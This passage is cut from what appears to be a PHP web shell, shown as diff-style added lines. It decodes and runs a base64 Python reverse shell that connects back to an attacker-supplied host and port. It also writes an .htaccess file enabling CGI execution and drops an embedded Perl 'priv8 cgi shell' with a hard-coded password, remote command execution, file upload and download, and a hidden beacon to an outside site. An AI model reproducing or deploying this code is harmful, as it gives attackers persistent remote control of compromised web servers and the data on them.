+bihhdXRvY29tbWFuZHMpLnJlYWQoKQp0cnk6CiAgICBzb2Nrb2JqPXNvY2tldChBRl9JTkVULFNP +Q0tfU1RSRUFNKQogICAgc29ja29iai5jb25uZWN0KChob3N0LHBvcnQpKQpleGNlcHQ6CiAgICBw +cmludCAnWy1dU29ja2V0RXJyb3InLHN5cy5leGNfdmFsdWUKICAgIHN5cy5leGl0KDEpCnNvY2tv +Ymouc2VuZCgiLjpiaW5ic2hlbGw6LlxuICVzIiVpbmZvKQpvcy5kdXAyKHNvY2tvYmouZmlsZW5v +KCksMikKb3MuZHVwMihzb2Nrb2JqLmZpbGVubygpLDEpCm9zLmR1cDIoc29ja29iai5maWxlbm8o +KSwwKQpvcy5leGVjbCgiL2Jpbi9zaCIsInNoIik='; +$file = fopen("conp" ,"w+"); +$write = fwrite ($file ,base64_decode($izoemmi)); +fclose($file); +chmod("conp" , 0777); +system("./conp $fipc $bportc"); +} +break; +case "PHP_6": +� � mkdir('cgitelnet1', 0755); +� � chdir('cgitelnet1'); +� � � � $kokdosya = ".htaccess"; +� � � � $dosya_adi = "$kokdosya"; +� � � � $dosya = fopen ($dosya_adi , 'w') or die ("Dosya +a&#231;&#305;lamad&#305;!"); +� � � � $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI + +AddType application/x-httpd-cgi .cin + +AddHandler cgi-script .cin +AddHandler cgi-script .cin"; +� � � � fwrite ( $dosya , $metin ) ; +� � � � fclose ($dosya); +$cgishellizocin = +'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w +cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl +IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv +cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3 +b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp +cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug +dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp +cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv +biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt +ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h +bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl +cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz +DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh +dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl +ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ +CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr +ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs +aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl +cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh +IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv +dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN +CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj +IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp +bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg +VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U +ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog +InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9 +ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz +ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw +YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp +bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp +bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk +aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl +OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD +R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7 +DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp +Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0 +aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N +RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N +CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo +U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu +LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk +YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi +b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl +ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl +YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K +CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg +dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9 +ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9 +ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K +CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ +CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv +Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu +fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4 +KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh +cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw +bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld +ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN +CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv +JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl +ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K +Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg +QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K +Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk +Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt +ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog +dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy +aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5 +d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N +CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg +aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m +b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h +cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv +cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8 +dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj +ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K +PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp +emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm +NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u +dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48 +Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u +P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs +b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv +YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG +aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u +dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K +PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh +c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y +ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu +ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF +TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT +ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO +RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0 +IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+ +DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy +Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50 +cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz +dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l +PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl +PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz +Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2 +Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj +MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0 +IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K +DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN +TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ +cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh +biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0 +KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll +cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7 +JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0 +aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N +CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl +ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu +IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy +aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN +CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50 +TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN +CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n +aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh +Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg +ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5 +cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh +c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF +RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy +aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug +IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ +JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz +c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ +CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0 +aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy +aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50 +RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8 +PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp +cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu +ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K +JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p +dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz +ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp +bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog +IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj +b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv +biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K +PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg +ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz +aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i +QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk 